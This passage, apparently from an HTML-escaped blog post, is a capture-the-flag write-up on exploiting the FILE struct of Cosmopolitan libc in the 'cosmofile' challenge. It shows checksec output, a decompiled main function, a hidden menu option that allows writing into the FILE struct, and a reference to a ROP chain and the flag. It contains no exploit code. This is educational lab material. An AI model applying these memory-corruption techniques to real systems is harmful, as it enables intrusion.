have to read the flag.txt directly using the rop chain.\nthe final exploit is here.\nrunning it gives us the flag : L3AK{JU57_b3c4u43_7H3R3_15_N0_vft4bl3_D035N7_m34n_Y0U_5h0uld_61V3_up}\n","content_html":"\u003ch2 id=\"tldr\"\u003eTL;DR\u003c/h2\u003e\n\u003cp\u003ethis challenge is about exploiting \u003ca href=\"https://github.com/jart/cosmopolitan\"\u003ehttps://github.com/jart/cosmopolitan\u003c/a\u003e FILE struct implementation.\u003c/p\u003e\n\u003ch2 id=\"initial-analysis\"\u003eInitial Analysis\u003c/h2\u003e\n\u003cp\u003ewe are given \u003ccode\u003ecosmofile\u003c/code\u003e \u003ccode\u003eDockerfile\u003c/code\u003e , using checksec on the binary we get:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e*\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;/home/player/ctfs/l3ak/cosmofile/c/cosmofile\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Arch:       amd64-64-little\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    RELRO:      No RELRO\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Stack:      No canary found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    NX:         NX enabled\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    PIE:        No PIE \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x400000\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Stripped:   No\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Debuginfo:  Yes\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ewe can see that bsides NX, no security measure is enabled (which is good since we are exploiting it)\u003c/p\u003e\n\u003cp\u003eopening the binary in ida we get the following decompilation of the main function:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003e__fastcall\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emain\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eargc\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eargv\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eenvp\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e_BYTE\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4100\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+0h] [rbp-1010h] BYREF\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e  \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+1004h] [rbp-Ch]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e  \u003cspan style=\"color:#111\"\u003eFILE\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+1008h] [rbp-8h]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003efopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/tmp/cosmofile.txt\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#34;rw+\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003esetbuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003estdout\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003esetbuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003estdin\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003efwrite\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Here is a secret of the universe:\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e... huh?\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2BuLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003efwrite\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;It\u0026#39;s not here...\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003efflush\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003erewind\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75af00\"\u003emenu\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#111\"\u003ev5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eread_int\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_DWORD\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eunk_6E7472\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#00a8c8\"\u003ebreak\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75af00\"\u003ecosmo_puts\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Whoa whoa whoa... you can\u0026#39;t just hide the secret of the universe like that!\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75af00\"\u003ecosmo_puts\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Just kidding, that\u0026#39;s not really a secret...\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75af00\"\u003eread\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x70uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eunk_6E7472\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#00a8c8\"\u003ebreak\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eLABEL_12\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75af00\"\u003ecosmo_puts\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Invalid choice. Please try again.\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75af00\"\u003ecosmo_print\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Exiting...\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75af00\"\u003eexit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003egoto\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eLABEL_12\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75af00\"\u003ecosmo_print\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Reading from cosmofile:\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75af00\"\u003efread\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1000uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75af00\"\u003ecosmo_puts\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Content of cosmofile:\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75af00\"\u003ewrite\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1000uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75af00\"\u003ecosmo_puts\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eNice, now you can see the universe in a different light!\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003eperror\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Failed to open file\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eit starts by opening a file \u003ccode\u003e/tmp/cosmofile.txt\u003c/code\u003e and writing some data to it, then it gives us this menu:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e[[\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecosmofile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e]]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e1.\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eRead\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecret\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eof\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ethe\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euniverse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e2.\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eExit\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eoption 1 allows us to read from the file and write the output to stdout and option 2 let’s us exit, but actually there is one more secret option, \u003ccode\u003eif ( v5 != (_DWORD)\u0026amp;unk_6E7472 )\u003c/code\u003e if v5 is equal to 7238770 (0x6E7472 in decimal), we can write into the FILE struct.\u003c/p\u003e\n\u003ch2 id=\"exploring-the-file-struct-implementation\"\u003eExploring the FILE struct implementation:\u003c/h2\u003e\n\u003cp\u003ethis is a typical FILE struct exploitation ctf chall, where we can write into the FILE struct and we have to exploit it’s inner workings to get arbitrary execution (in this case), it’s just that this is not glibc.\u003c/p\u003e\n\u003cp\u003elooking into the FILE struct definition in ida we see this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003estruct\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eFILE\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// sizeof=0x70\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e                                       \u003cspan style=\"color:#75715e\"\u003e// XREF: .data:__stdin/r\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003e                                         \u003cspan style=\"color:#75715e\"\u003e// .data:__stdout/r\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebufmode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000001\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efreethis\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000002\u003c/span\u003e     \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efreebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 